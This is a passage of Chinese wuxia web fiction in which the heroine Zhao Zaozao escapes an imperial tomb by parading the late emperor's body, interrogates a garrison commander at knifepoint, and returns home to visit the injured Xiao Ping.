“除了这具棺椁,我们每一处都找遍了。”
若非实属无奈,昭早早又怎愿拂他的意,“这是唯一可能藏有线索的地方,再出不去,我们都会困死在这里。”
她又转向其他人道:“大家干的可都是刀口舔血的活,连皇帝的棺材本都拿了,还怕翻他棺材不成?”
“倒也不是怕,”祁道长犹豫道,“真挺沉的,这帝王梓宫,重逾千斤。”
“盖子又没那么重。你、徐生还有阿琛一起上来帮忙。”昭早早言简意赅点了三人一起上去。
梓木雕成的外椁通体无瑕,触手温润,雄踞其上的五爪金龙栩栩如生,四个人分属四角,沿着接缝处一阵摸索,都拿准了梓木盖外凸的边沿,一齐用力向外推动。<
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然而却是没有成功。
盖体的滑槽有些松动,但中心处悬垂着翠绿藤蔓的地方阻力明显,昭早早想了想,到底是没有上手去扒拉,也不敢拿刀随便砍,万一喷出点什么毒液,吃不了兜着走。
她沉吟道:“弄个火把过来。”
任它是什么神植仙株,就没有不怕火的。
果然,她举着火把靠过去,那藤蔓便蜷缩着像上盘卷,趁此机会,众人再次合力,厚重的椁盖应声而启。
内棺又还有一层棺盖,不过要轻得多。
搬开之后,没有预想中的腐臭,反倒有股清冽的花香弥散开来,而这竟不是错觉——之前覆盖其上的藤蔓,竟似沿着棺椁间的细微空隙撒了花籽进去。
一根绿茎从棺底探出头,顶端还开着一朵淡紫色的小花,其下结着一颗细小晶亮的果实。
昭早早直觉危险,有个名称就在脑中呼之欲出,但又一闪而过,好在并无人在意什么奇花异果,都被满棺的珠光霞彩晃直了眼。
偌大棺椁内铺满了金丝缀彩的敛衾,四角堆砌着琳琅满目的珍宝美玉,并一杆金光闪闪的锁马枪,明晃晃摆在其中。
只见身着龙袍头戴冠冕的帝王双手交叠在胸前,面色红润一如生前,指甲盖底下还透着血色。他的眼皮甚至是微微鼓动的,仿佛下一刻便能转动着眼珠睁开。
“他怎么……?”徐生惊讶到说不出来话来,昭早早接口道:“放心,死的,胸口没有起伏。”
祁道长也道:“观之两颊微鼓,口中或有天山寒玉蝉。”
“寒玉确可保失身不腐,但也只是不腐而已,尸首往往干瘪发灰,”阿琛奇道,“如何能使得血肉如此饱满?”
昭早早瞥了一眼棺内花茎,道:“管那些闲事做什么。”
她无意再欣赏死人,只念一声“得罪”便开始动手。几个人弯腰托住帝王腿脚,很快便合力将人抬出棺外,放在石床的空余处。
还未待昭早早得空去探索棺内,困了他们将近三日、让他们百般不得解的石墙竟乍然开启!
混杂着泥土味的气浪卷着细碎的石屑滚滚吹进来,露出其后八尺宽的暗道,所有人皆是喜出望外,闵宴快步流星跑过去,激动道:“是出口!我们可以出去了!”
祁道长等人也立刻跳下石床,向那边跑去,唯有肖平还等着昭早早,可她总觉得有哪里不对,好像有什么细节被忽略了。
站在这一时半会也理不清头绪,昭早早干脆也先过去看看。这条暗道没有任何人工开凿的痕迹,看起来就像是一处天然的山洞,连石门背面都做了伪装,嶙峋得像是一大块天然的岩石。
如果不是其上布满了许多深刻的凿痕,还有火焰灼烧的痕迹,看起来只会更像。
“真用火药炸过啊。”昭早早捻了些烧灼处的粉末来闻,隐隐还残留着硝石的味道,“那还不如用撬棍呢。”说完定睛一看,好嘛,撬过的印子也有,真是无所不用其极。
“等等。”她叫住最前头的闵宴主仆仨,“这条路不能走。”
“为什么?!”闵宴极其不耐烦地回过头来,态度暴躁。昭早早‘啧啧’摇头,半点不惯着他,“那你走吧,恕不远送。”
这小少爷虽骄纵无礼,脑子还是有的,显然不敢擅离,一脸吃瘪地往回走。
昭早早也不理他,又细细观察地上纷乱的脚印,痕迹祁道长也注意到了,与她分析道:“看来‘同行’也发现过这扇暗门,只是没能打开。那就更加可以证明,这条暗道直通山外。”
“通是肯定通。”昭早早颔首道,“就不知道外头有多少人正摩拳擦掌等着我们。”
19. 脱困
堂堂皇家先祖,麻袋一样地又被他们抬回了棺椁里。
厚重无比的石墙再次严丝合缝地合拢,若不是地上还残留着少许沙土石屑,简直像从未开启过一样。昭早早欣赏着完美闭合的石墙,由衷赞叹:“这个工艺,真是精湛绝伦。”
她转向肖平,眨了眨眼睛,语气恳切:“折腾这半天,口又渴了,能否劳驾帮忙再打壶水来?”她将空空如也的水壶递过去,客气道:“多谢。”
肖平眸光微动,当然知道她什么意思,接过水壶,一语不发,独自走出殿外。
他前脚离开,后脚闵宴双手抱臂,压低声音阴鸷道:“你最好把事情从头到尾解释清楚。”
“从头?”昭早早讥诮道:“你就是头,没有你压根就没有这档子事。不如你先说说,究竟杀人没有?”
“没有!”闵宴怒道,声音在空旷的玄殿中激起轻微回响,“我为什么要杀一个微不足道的伶人?那晚我饮多了酒,醒来时他已触柱自尽。分明是有人栽赃陷害,买了他的性命来嫁祸于我!”
昭早早心中冷哼:若不是你小小年纪玩得花,别人怎么会有机会?
没把这直白的挤兑说出口,她也算是给闵宴留了两分薄面。
“所以,你首先要明白,想害你的人其实完全有机会杀死你。就算伶人不会武功,接近你前会被搜身等等,只要对方抱着必死的决心,大可以提前服下剧毒,通过交合渡给你。”
“如果只是单纯要用你的死敲打闵家,何必大费周章地把你弄到这里来。”昭早早看着低头陷入沉思的闵宴,发觉这个角度他跟他姐姐还真有点像。
“想必你也知道我们是如何进来的,鬼手徐生得到的图又是何人所赠。不觉得有悖常理吗?”
“私放钦犯论罪当处故而他不敢乱来,可笑,难道贪赃枉法、贩授机要就不是死罪吗?与其大张旗鼓引你们闵家一批批地来人,还不如悄悄放走你一个呢。”
“再者,也是最明显的,这通道两端多的是劳而无功的痕迹。”她转向鬼手徐生道:“进山之时,你说探子查到这里数月前曾闹过瘟疫,死了不少兵士,对吗?”
“是。”徐生回答道,“小姐让我来,就是怕余疫未消,沾染了少主。不过看起来……确实不太像。”
他思索道:“若营中有疫,地宫中的囚犯不可能独善其身。就算那之后曾开过一次闸,染病的囚犯大都死了,也应该会有病到不能动,或是已提前病死的人,留下新鲜的遗骸在地宫里。”
“没有。”阿琛是最早一批的人,来地宫的时间几乎跟闵宴一样长,他肯定道:“我只见过一些陈年的骷髅,没有新死的。”
“反正只要是‘染疫而死’的兵士,最终都会被一把火烧成灰烬,到底真正因何折损,谁知道呢。”倒也不是她故意卖关子,有些话没必要讲得太明白。
“有些路自己开不了,自然需要引别人来开。螳螂捕蝉,黄雀在后,信不信黄雀就在外面,翘首以待呢。”
“难怪自营救少主以来,那人就时常不在营中。”徐生顿悟道,“原以为他是避嫌……”
“邬志合区区一介守将,就算是世家子弟,也不过三等品级。”
看得出来闵宴怒火中烧,已顾不得打什么隐语,点名道姓直白道:
“哪怕他吃了熊心豹子胆,敢打皇陵藏宝的主意,也没能力只手遮天,设计这么大一个局。”
那当然,但昭早早只关心邬志合图从何来,并不打算搅进更复杂的浑水,“总之,我们现在要换条路出去。”
“哪还有路?”祁道长忙问。
“你熟得很,”昭早早下巴一扬,指向玄殿外,“走水道。棺材里现成的锁马枪,我们可以挨个抓着枪杆出去,只需要每次把空杆送回来接下一个人。”
“可那也只能回到外地宫。”徐生不解,“入口的石门只能从外向里推开,反之则无法撼动。我们还得想办法引守卫来开门。”
“我们现在可是有金枪在手。”昭早早边说边跳上石床,去棺材里提枪。
“一会上去,虽然不知道具体的时辰,但肯定是白天,御台外必有人巡查。只要在合适的时机把这宝贝从投食口掷出去,不愁引不来人开门。”
“就算是这样,”祁道长接话道,“外面都是镇陵军,我们如何能走脱?”
“倒也没那么多人。”昭早早随手挽了个枪花,试试分量,“姓邬的为了杀人夺宝,肯定会把得用的兵都带进山里埋伏。”
“主将不在,我们把这龙袍玉冠的陛下捆在枪上带出去,往御台上一杵,高呼几声真龙天子复生、参拜者有赏云云,再把这些金银珠宝满地一撒,不怕营中不大乱。”
她留恋地看向胳膊上那二三十个大镯子,忍痛道:“咱们待会得把玉器都换成金银,更引人注意不说,也免得摔稀碎,暴殄天物。”
几人面面相觑,这主意虽然邪门,却也是眼下唯一的办法,只能尽力一试。阿琛瞟了眼棺材,又看向满不在乎甩枪玩的昭早早,嘀咕道:“曝尸怪缺德的。”
昭早早耳力过人地听见了,眉头一皱:“有吗?那待会这老头你来背,还有,你们不许说主意是我出的。”
阿琛瞪大眼睛,“凭什么?”
“凭你力气大,生得壮,项羽再世。”昭早早半开玩笑地恭维他。到底也算是肖平上辈子的祖宗,虽然这辈子毫无关系,她也是易容化名,但能遮掩就遮掩点吧!
“其他人再去耳室拣些大小合适的箱子搬过来。那棺材底下的机簧需要重物压着,不然一会把皇帝起出去,石门又会打开。方才是运气好,外面没有探子,不然可就要被人瓮中捉鳖了。”
昭早早交待完,正欲去水道找肖平,闵宴叫住她道,“那人始终是个隐患。”
“我自会叫他对这一切守口如瓶。”昭早早不喜欢闵宴的用词,冷冷剜了他一眼,“等上到外间,我再暂且
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封住他穴道。所以,你最好不要想着做什么手脚,否则别怪我翻脸不认人。”
话虽如此,她实则并未想好要如何说服肖平。威胁他是万万不能的,胡编乱造,若是被肖平发现破绽,反而更不会轻易相信她的话。
地宫肃穆而寂静,甬道四周雕刻的镇墓兽在昏黄光亮的映照下,显出一种无形的、沉重的威压,仿佛随时会破壁而出。在这里,时间的流逝仿佛格外慢,千年亦如一瞬。
思来想去,昭早早注意未定,人却已踱到了肖平面前。水壶置在地上,灌得满满当当,而肖平倚靠着石壁在闭目养神,听到脚步声,也只是平静无波地睁开眼睛。
虽然他嘴巴都没张,神色也只是淡淡,昭早早却一眼就能读懂,他想询问结果。
昭早早决定实话实说,当下趁闵家的人都还在殿内,把事情的前因后果、稍后的行动计划交待得一清二楚,只隐去了自己参与其中不便细说的部分。
如此一来,也不必担心日后闵家搞什么小动作,令不知实情的肖平陷入背动。
“你心里知道这些便行了,不必卷入其中,此事本就与你无关。相信我,我绝对不会害你。”
这话她说得着实心虚,易地而处,谁会相信一个挟持自己的匪徒?
奈何她眼下也没有别的办法,只得厚着脸皮分外诚恳地凑近肖平,希望他看着自己的眼睛,能感知到其中的诚意。
肖平意外地有些闪躲,双颊染上一层薄红,她本还想再解释两句,可惜远远已经听到阿琛他们走出殿外的脚步声,只得退回原来的距离,尽量“公事公办”道:
“对不住祭酒大人,等出了地宫,我会浅浅点住你一炷香的时间,待我们走远你就能行动自如。”
“至于请太宗皇帝相助,我等也是实属无奈,才出此下策。他老人家一代仁君,爱民如子,想必这等解救无辜苍生、功德无量的好事,也是愿意做的。放心,我们一定轻拿轻放,断不至给他磕着碰着。”
实际出力人阿琛路过,很是看不下去地白眼道:“他又不是哪来的龙子皇孙,你跟他说这些干什么。”
昭早早直把白眼翻回去,“你管呢。”
水道入口处,阴冷的空气裹挟着潮湿的水汽扑面而来。在众人终于做好万全准备,打算利用锁马枪离开之前,肖平忽地垂头在昭早早耳边以极轻的声音快速道:“走西南方向,岗哨最少。”
昭早早难以置信地微微顿住,险些怀疑自己产生了幻觉。
不过是听了她一番片面之词,肖平最多碍于形势勉强配合罢了,怎么会反过来告诉她安全路径?
莫非……昭早早心下一惊,不自觉摸向脸颊——
她的易容没那么容易被看穿吧?何况正常人谁会猜到匪徒还有女扮男装的呢?
她勉强压下慌乱,故作镇定地点头。
“你也当心。”
无论如何,先离开这个是非之地才是上策。
20. 混乱
晨雾朦胧,张老三并巡查的几个兄弟扶着腰刀往丑陵神道走着,靴底碾过青砖上凝结的夜露,发出细碎的脆响。
连日来主将不在,新近掌管军纪的祭酒也不知踪影,他们这些守陵的杂兵都懈怠得很,昨夜玩了半宿叶子戏,此刻难免哈欠连天。
“头儿,你昨个晚上手气可真好,赢了不少吧?”
几人尚在打趣嬉笑,话音未落,眼前一道灿灿金光划空而过,紧接着是金石相击的脆响,一杆看起来华贵非凡的长枪叮叮哐哐落到地上,滚动间光芒流转,枪头直指众人。
“这是哪来的?”几人连忙跑过去,虽然见识不多,但枪杆上的龙纹还是认得的,此乃御器,都不敢伸手去拿。张老三眼尖,“这好像是从地宫底下冒出来的!”
“怎么可能?朱副使三日前才开过内闸,地宫哪还有人?”
“走,下去看看。”
他们按住刀柄,贴着墙走下御台,小心地推开沉重的石门,地宫阴冷的气息扑面而来。
晨光微熹,映照出前方一道高大伟岸的身影。
那人身着明黄色龙袍,头戴金丝翼善冠,腰间佩着镶嵌宝石的玉带,他的面容隐没在阴影中,周身散发着令人不敢直视的威严。
几人瞬间僵在原地,手中的兵器几乎脱手。他们从未见过如此气派的人物,那身装扮分明是皇帝的模样,可皇帝怎会出现在这幽深的地宫中?
“你是何、何人……?”张老三喉咙发紧,心中既惊且惧,问话的声音都变了调。
那人好似并未张嘴,身后却传来浑厚而庄严的高喝:“朕受命于天,既见真龙,安敢不拜!”
张老三膝盖一软,不由自主噗通跪倒在地,其余人也纷纷效仿,额头紧贴冰冷的地面,不敢抬头。
“叩见陛下!”
不知是谁喊了一声,几人忙不迭跟着呼喊,声音颤抖,只觉一阵阴风从他们身侧掠过,令人脊背发凉。
皇帝似乎走了出去,张老三正想起身去看,忽地一串脆响如冰雹坠地,几颗龙眼大的金珠弹跳着滚到众人面前,每颗都錾着细如发丝的龙纹,只听皇帝的声音缥缈传来:
“此物赏赐尔等。”
张老三再顾不得其他,欣喜若狂地去捡拾,几人紧紧攥着金珠子,额头重重磕在青砖上,一连声地谢恩,“谢陛下赏赐!”
“谢陛下赏赐!”
他们谢了半天,没听见回应,这才敢壮着胆子去看。只见皇帝陛下已立于御台之上,一身滚金线的龙袍在晨光之下更是耀眼非常,头顶金冠熠熠生辉如神灵降世,周遭有好几道声音在奔走呼喊:
“太宗皇帝显灵了!”
“真龙复生,皇帝显灵!”
“天子复生,大赦天下,参拜者有赏!”
“对对对,”张老三慌忙对手下道,“快去告诉所有人!快去通知将官!”
四面八方的呼喝声立刻引来了不少人,正撞见手握金器的张老三他们——
消息顿时如野火般蔓延,很快御台前人头攒动,又是一阵金珠雨下,哄抢、叩谢声此起彼伏,人群涌动如潮,连远处一些值守岗哨的军士都听闻异动,巴巴地向这边张望。
新搭的营房外接连几声竹栅断裂的闷响,是新来的囚犯听说大赦天下,和守卫起了冲突,趁乱浑水摸鱼一窝蜂地往外跑。
营中一时大乱。
无人在意的角落,祁道长动手解开了肖平身上的穴道,皱眉问:“那个赵青到底是什么人,需要派人去查探吗?”
“不必。”肖平摇了摇头,“我知道她是谁。”
祁道长便不再多说,他的身份不宜在此停留,离开前只对赶来的同门略略颔首示意,对方拱手,大步流星与他错身而过,向后方的肖平请示道:“我们的人齐了,何时动手?。”
“现在。”肖平回答。
“咕咕!”
昭早早领头带着众人沿西南方向一路奔逃,徐生不时在林中发出古怪的鸟啼,很快便有人回应,来的是一个戴斗笠背竹筐的樵夫。
他筐中藏着包袱,抖开共有七八件浆洗得破旧的宽大布衣,正好将囚服罩上,众人赶忙批换,继续向山麓处的木屋赶去。
闵家接应的帮手早已等候多时,两边碰头后无人多说废话,迅速一番乔装,再出来时几人已变成砍柴的樵夫、背弓的猎户、挑着扁担的货郎与挎着药篓的游医。
他们化整为零,分头下山,官道上另有车马等候。之所以跑路的仅四个人,是因为昭早早并不与他们同行——
她在木屋中只要了一套镇陵军的行伍装扮,又于徐生的医具箱中翻找了一番,便带着短刀重新赶回山里。
她要去找那群黄雀。
眼下答应闵栀的事已然办完,不必再顾忌救人,处处掣肘。在这野外林中独自行动最为方便,无论成败,要脱身都很容易。
凭借对山势的了解,她能够大致判断地宫出口的方向,那一片能埋伏的山坳就那么几处,人多则留下的踪迹必然杂乱,要找到他们并不难。
关键是得快,营中出了这么大岔子,定会有人去通知邬志合,她最好抢在他回营前动手。
在山中枯守这么些时日,邬志合憋得一肚子火,又破口大骂训斥了一顿手下。他嘴上发泄完,感觉肚子里也需要发泄,便稍微走开了一些,背对着一棵老槐树解下腰间扣带,正欲蹲身,忽觉异动。
在他即将转身的瞬间,一把寒光凛凛的短刀已经抵在了他的颈侧。
“嘘,”一个低哑的声音道,“别动。”
锋利的刀刃刺破皮肉的凉意像毒蛇顺着脊骨窜上来,激得邬志合浑身筋肉骤然绷紧。
他下意识屈了屈指尖,耳畔却响起一声极轻的冷笑,刀刃立刻又压入皮肉半厘,温热的血顺着他的脖子往下流,洇湿了衣衫领口。
“再不听话,可是会死的。”
邬志合身体一僵,当即被人连点数处大穴,这下便是想动也不能了。
这荒郊野岭满是枯枝烂叶,走动极易发出声响,此人却能悄无声息绕到树后偷袭他,可见武功非比寻常。
“阁下意欲何为?”邬志合强作镇定,周围都是他的人,只要拖延一阵,不怕没人来救。
“少废话,你只须回答我几个问题。”
那人持刀隐在他背后,并不上前,邬志合眼珠子都快撇出眼眶,也瞧不见一鳞半爪。
“丑陵的地图,你从何而来?”
“你怎么知……”邬志合喉结重重一滚,当下心知来者不善。
对方手腕一翻,刀锋已抵至他咽喉致命处,他不得不回答道:“那是我邬家世代相传的。”<
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p>“既是世代相传,你显赫的祖宗尚且不敢打皇陵的主意,”对方冷笑道,“怎得你这个落魄的不肖子胆大包天?说,图到底是哪来的,又是谁授意你来此?”
邬志合咬牙,正待随口编个人选,忽觉几根尖细之物猛地扎入了他的咽喉!
他骇然想要惊叫,喉咙里却只能发出嘶嘶的气音,背后那人不慌不忙道:“几根银针而已,若将军说的是实话,自不会有事。若有意欺瞒……”
邬志合听到杀手威胁之意,难以置信地瞪大双眼,他只知道银针可以鉴毒,还未曾听闻有什么邪术可以鉴谎……
“我数三声,若将军还不肯说实话,便去死吧。”那声音冷得像淬了冰,染血的刀锋再次贴上他的命脉,"一,二……"
脑袋只有一颗,没必要拿自己的性命去赌,邬志合额角青筋暴起,终是把心一横,实话实说道:
“国师!是玄羽国师派我来的。而地图确是我邬家祖传之物,早些年便已献给圣上。”
昭早早听闻这诈出的信息不由失望,但也不是没有猜想——邬家先祖邬子阳正是玄甲军统帅,太宗皇帝最信重之人,因此留有后手也不是不可能。
只如此一来,这地图便与二哥没什么干系,她所期盼的线索终究落空。
邬志合大气不敢出,身后人忽地撤刀收针,继而一指点上他的神台穴。
他浑身气力霎时抽离,不由自主地踉跄跪地,余光瞥见一抹身影一闪而过,却依稀是普通兵卒模样。就在这时,远处传来了仓惶的脚步声和呼喝声。
“将军!将军在哪?!军中出大事了!"
数百里外的甄城昭家近来也出了大事。管家垂首禀报第三批家仆空手而归时,距小姐昭早早留书一封外出游玩已有月余。
早在二十天前,昭家便派了人去彩丹城寻找昭早早的下落,一无所获;之后管家又在歌戏楼找到前侍女云从,得知小姐早已另去他处玩耍;第三波人则几乎把临近城镇的各大客栈都搜了个遍,也未觅得小姐踪影。
昭家人正心急火燎讨论是先去江湖悬赏还是衙门报官抑或双管齐下之际,昭早早大摇大摆兼大包小包地自个儿跨进了门。
“你还知道回来?!”昭明霍然起身,拍得八仙桌‘砰’地一震,杯盏里的茶水都荡了出来。
“啊?”昭早早莫名,“那不然呢?”
玉迟雪骂道:“你去哪里疯玩这么久,也不知道跟家里报个信?”
“我在彩丹城参加了一个书友会,认识的好朋友太热情,邀请我去她家玩,走得急便忘了。”昭早早打着哈哈说,“下次一定。”
昭明气结,“你还想有下次?你孤身一人外出,知不知道我们有多担心?”
“我这不是好端端回来了嘛。”昭早早自知理亏,一边陪着笑脸哄人,一边把事后从闵栀那搜刮来的新奇玩意往外掏,“还给你们带了礼物,都是好朋友送的,叔父叔母消消气。”
“什么书友会?”昭睿凑过来问。
“《冥冢凶灵集》,鬼手徐生的大作。”昭早早扬扬眉毛,自然不会漏掉他的那份,塞过去一方白玉镇纸,“你方知画姐姐的最爱,就是她推荐我去的。明日你去书院时,顺道帮我捎个信,让她来我这取最新的一册。”
“……”昭睿无语道,“你们都看的什么鬼书。”
21. 事后
第二天不到中午方知画就溜过来了,眉飞色舞本欲直奔昭早早的闺房,却被侍女告知小姐仍在后院练武。
一个‘仍’字勾起了她的好奇心,方知画随口问了句她什么时辰开始练的,侍女答曰卯时。
方知画啧啧称奇,来到后院调侃好友道:
“你这是受什么刺激了,竟然还闻鸡起舞?这都是你新学的招式吗?好像很厉害的样子。”
昭早早见她来了便收起架势,笑笑也不回答,只拿布巾擦汗。
“你来的倒是早,”昭早早问,“吃过饭了吗?”
“没呢,特地来你家蹭饭,”方知画兴奋道,“我要边看书边吃,当配菜!”
“你这口味挺独特,”昭早早哭笑不得,“行,我这就叫人准备。”
两人惯例并排坐着吃饭,以便方知画担惊受怕时勒紧好友的胳膊,而这就导致昭早早余光难以避免地也会扫到一些不堪入目的画面,什么腐尸长蛆啦,肠穿肚烂啦——
昭早早对着方知画也算是柔美恬静的侧脸摇头,“这本送你了,能不能拿回去慢慢看。”
“真的?”方知画意犹未尽地合上画本,摩挲着封皮的签名,“这可是有徐生题字的,就这么送我了?”
“嗯,”昭早早点头,“不止这本,以后鬼手徐生再出新书也会给你送来。”
“你真是我异父异母的亲姐妹!”方知画惊喜到合不拢嘴,“你怎么办到的?快告诉我!”
“我去彩丹城参加了他的书会。”昭早早失笑,随口半真半假地编了些游历,“一来二去也算是认识了,他近来想画点新故事,我答应帮他找素材。”
“哇,新故事,”方知画兴致勃勃,“什么题材?”
“还是他擅长的灵异志怪,不过这次不下墓了,改成道士捉妖祛邪。”
并非故意要蒙骗好友,而是昭早早不想她知道太多,牵涉其中,所以才扯了个幌子。
“知画,且帮我跟你们家掌柜的买点消息,关于云天教的由来,和玄羽国师的生平。”
方家表面看似经营钱庄酒肆,实则是江湖中最大的暗信堂口。
“玄羽国师的消息还用买?”
方知画反问,“街上三岁小孩都知道,她是前长公主,少时就去了云天道馆出家修行,堪称全天下最尊贵的道姑,这还用查?但她不捉妖吧?”
“她不捉没准她师父捉呢,”昭早早随口忽悠道,“她师从何人,缘何入道,可曾收弟子,近况如何?”
翻遍书库,只寥寥几笔记载着前长公主少时聪慧过人,荣宠无双,又是皇家的嫡长女,这样尊贵的身份为何会出家修行?
更重要的是,宁平公主也曾寄居在云天观,是否曾与玄羽有所交集?
如今玄羽染指皇陵地宫,无论是图财还是其他,本都与今生的她无关。可……到底还是有些放不下,了解一二,也算解她好奇之心。
“要这么详细啊?”方知画踌躇道,“那你还是等我回头问清楚了写封信给你吧。”
“不过可能没那么快,我家人手近来都忙得脚不沾地,天天早出晚归的,看不见人影。”
昭早早明知故问道,“出什么事了?”
“你好些天没去茶馆戏楼了吧?天天就搁家练武呢?”
方知画重重叹了口气,“丑陵出大事了!说是太宗皇帝死而复生,从皇陵里跑出来了。”
“怎么可能?”昭早早哈哈干笑,“你画本看多了吧?”
“你别说,其实我本来也不太信。”
方知画撇嘴道,“可这事应该是真的,镇陵监已经八百里加急传讯送往王都。”
“江湖传言,太宗皇帝能活过来,是因为龙脉地穴让其复生,但因为没有人妥当接应,致其龙气受损,所以很快就又死了。”
“你知道,关于通天藤一直都有些神鬼怪谈,什么登仙梯啊,长生果啊,这下就都更传得更沸沸扬扬。”
昭早早佯装惊奇:“还有这种事?”
“可不嘛,镇陵监的人不知道该怎么归葬,急得团团转。”
方知画说起八卦格外有劲,单手指了指天,隐晦道:
“还有传言说是子孙失德,祖宗才会显灵警告。官府虽严禁传谣,但底下根本管控不住。说起来,肖平也是倒霉,前阵子正好被派往丑陵当差。”
“哦?”昭早早心道这趟找方知画算是找对人了,忙问:“那他现在怎么样?”
方知画见她问得这么急,自然得揶揄两句:“怎么,你很关心?旧情未了?”
“少废话,快说。”昭早早催促道。
“听说他在太宗皇帝显灵的前两日不小心坠下山谷,被困了好几天才获救,伤得不轻。”
方知画如实道,“刚被镇陵监送回将军府休养。”
“什么,他受伤了?!”昭早早拍案而起,倒不全是演戏。
她心知肖平必然得寻个借口掩饰那几日的失踪,但要骗过军医又怎可能那般轻易,都被送回府邸了,恐怕是假戏真做。
“不行,我得去看看他。”说着即刻便想动身。
“等等,你不能去吧?”方知画忙阻止她道,“你忘记你是如何退他婚约的了?肖府的大门肯定不欢迎你。”
也是,昭早早白眼一翻,要不怎么说造化弄人呢。
但凡早个几天让她复苏记忆,能省多少事。
虽说她一样不会依着前世情感与今生重生之人成婚,但起码能暂且保留身份便宜行事。
“大门进不去,大不了我走后门。”昭早早决意道,“我知道肖府的后门在哪,从那里可以直接翻墙到肖平的别院。”
方知画大惊失色:“这你都知道?!”
昭早早平平淡淡点头,“这条路他带我走过。”
“啊?”方知画嘴巴里可以塞下一整个水煮蛋,“既然你们都已经暗通款曲了,那还退哪门子婚?”
“你不要想歪了好不好?!”昭早早斜睨满脑子妄念杂绪的好友,“我那是偷摸去抄课业的。”
“年初春假山长留了几篇特别难的术数算章,我还特地去问过你来着,你不是也不会写。回来的路上正好碰见肖平,我就说借他的课业来抄下。”
“难怪你最后交上了,结业前没有挨罚。”方知画想起来这茬,恍然道:“原来是他偷偷借你抄的?”
“没有,他骗我的。”昭早早无可奈何道,“到了书房他根本不把课业拿出来,而是给了我一摞书,叫我现学。”
“这么残忍?”方知画装模作样地捂嘴,“那你哪学得会。”
“谁说不是呢。”昭早早皮笑肉不笑地捏方知画肩膀,捏得她求饶告罪,才又道:
“所以我看不懂的地方只好又去问他,也懒得走正门,解释起来麻烦不说,还显得我多笨似的。那墙到最后我翻得可熟,好不容易才算是囫囵写完了。”
方知画可惜道:“这么说来肖平对你还挺好的。”
“一般吧。”昭早早回忆着当时的情景,茫然道:“他挺冷淡的,除了答疑,旁的话一句都不会跟我多说。我想他可能不太瞧得上我。”
“他不是自小就那样么?出了名的少年老成,君子讷言。”方知画一语道破,“真看不上你还费那心干嘛,直接不搭理你不是更简单?”
见好友将信将疑一副木呆呆的样子,方知画也不在意,摇头道:“算了,反正你也不喜欢他。不过那你干嘛要这么急着去看他?”
“他受伤了,我当然该尽点同窗之谊前去探望。”昭早早一本正经道,“而且现在一说我想起来了,之前跟他借的书还没还。”
这可是得来全不费功夫的好理由。昭早早迫不及待送走一脸别扭的方知画,拿了书本和金乌玉片直奔肖府。
说到这金乌羽片,闵家派人暗中送来时还附带了一颗“离魂引”的解药——做戏那么逼真的吗,昭早早不解,那劳什子的熏香毒难道是真的,但她并没有受到任何影响。
既然如此,她也懒得再问。
总归尘埃落定,她原本是想将金乌羽片做成成衣的,但一不知晓具体尺寸,二来她根本不会女红,知晓了也是白搭,不如交由肖平自己找裁缝去。
将军府后巷僻静非常,暮秋午后的的紫藤已褪去颜色,无精打采地垂落在墙头,窄门缝隙外生着稀疏的杂草,铜环落灰,一看便像是鲜少有人打理的荒僻之地。
若非昭早早之前来过,肯定猜想不到肖平会居住在墙后的院落。
其实此处地势并不差,相反出行便利又隐蔽,对于喜静又利落的人分外适合。
昭早早在门前犹豫半天,她本想照例翻墙进去,又觉会否唐突冒失,毕竟此一时彼一时也,而且她依稀记起肖平好像对她说过下次来时最好敲门。
但万一
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敲了他不给开怎么办?
退婚那天闹得那般不快,按理说他不想见她才是人之常情。
昭早早心虚地啃起手指甲,自我宽慰对方大人有大量,或许不会介意。
两人最后一次‘正常的’碰面,是在十五书斋门口的那天傍晚。彼时肖平唤她,仿若无事发生,半点也无负气困顿的模样。
思及此处,她又莫名有些低落。
正徘徊着,墙内隐约传来模糊的一声惊叫——“好端端的,公子怎地洇血了?”
昭早早的腿比她的脑子动得更快,长臂一攀,借力起身,人眨眼已翻进院内。
她寻声依迹赶到肖平房外,刚准备抬手敲门,忽觉不对,似有一抹锐利视线来自她身后,她猛然回望尚未看清,门吱呀一声开了,小厮迎面诧异道:
“昭小姐?您怎么在这?”
“我来探望肖公子,顺便还书。”
昭早早不得不收回巡视的目光,疑心自己太过敏感。她从前来时并未察觉肖平这里有暗哨……不过她那时也还没那个本事察觉就是。
房间内弥散着淡淡的血腥味,肖平波澜不惊地端坐在桌前,示意小厮先下去。
“早早,”肖平无奈道,“下次敲门。”
这么说还可以有下次,昭早早窃喜着连连点头,“知道了。”
“我听说你受伤了,伤势怎么样?”她恨不能几眼看穿他衣裳,上上下下一番打量,看哪都像是带伤。
肖平却只是淡然道:“还好。”
“真的?”昭早早急道,“你伤在哪,怎么受伤的,能不能给我看看?”
肖平睇她一眼,“不能。”
怎么这么见外,昭早早眉头一拧,但想想自己的身份,没被轰走都算不错。
她退而求其次,拿出装着金乌玉片和书本的布包袱堆在桌上道:“那这份探疾礼你一定要收下,书是顺道还你的。”
出门走得急,她也没搞个什么锦盒之类的装着,乌七八黑的几个暗色玉片掏出来分外掉价,一点也不像价值连城的宝物——倒是省得担心肖平与她推脱了。
“这是一种柔韧的暖玉,可以缝制在衣服里面,对你的暗伤有好处。”
肖平垂眸并未应声,看起来有些迟疑。
昭早早赶紧强势地往里一推,大喇喇道:“放心,不是什么贵重之物,不值钱的。”
说完又觉不对,赶紧找补道:“但可千万别扔了,这东西适合你的体质,没事可以穿着玩。”
她到底在说什么呀?昭早早心中唾弃自己万分,面上表情也是僵硬,好在肖平微微颔首,道了一声“多谢”算是收下。
昭早早长舒一口气,今日的目的已了,剩下该干嘛她也不知道。
肖平自然更不可能说话,两个人相顾无言,昭早早盘算着是不是该在对方下逐客令前识相点,就听肖平问道:
“你来探望我,是补偿吗?”
肖平竟然主动问她话,在思考回答前,昭早早更为这个认识感到高兴,脱口而出便是大实话:“我没事干嘛要补偿你?”
说完她才后知后觉地意识到对方说的应是婚约一事,忙解释道:“不是,我的意思是我不认为与你解除婚约是错的,当然用不着补偿你。”
“诶也不对,”昭早早差点咬到舌头,“我是想说你真的很好很好,我希望你永远可以主宰自己的前路,无论是谁都不该强加给你任何东西,婚约也好,责任也罢……”
昭早早脑子里一团乱麻,越说越急,脸皮阵阵发烫,头一次觉得自己的嘴是真的没救,“要不你好好休息,我先走了。”
肖平点头,欲起身相送,昭早早一把按住他:“你身上有伤,不必送我。”
她想不过又壮着胆子问了句:“我明天还能来看你吗?”
肖平表情未变,不过昭早早总能从那恬静的湖面上看出一点波澜,他说:
“记得敲门。”
点头如捣蒜的昭早早喜形于色地扶着门框,记起还有最后一个问题,“等等,外面的暗哨是你的人吗?”
如果不是,她可以帮他解决掉。
“只是寻常护卫。”肖平回答。
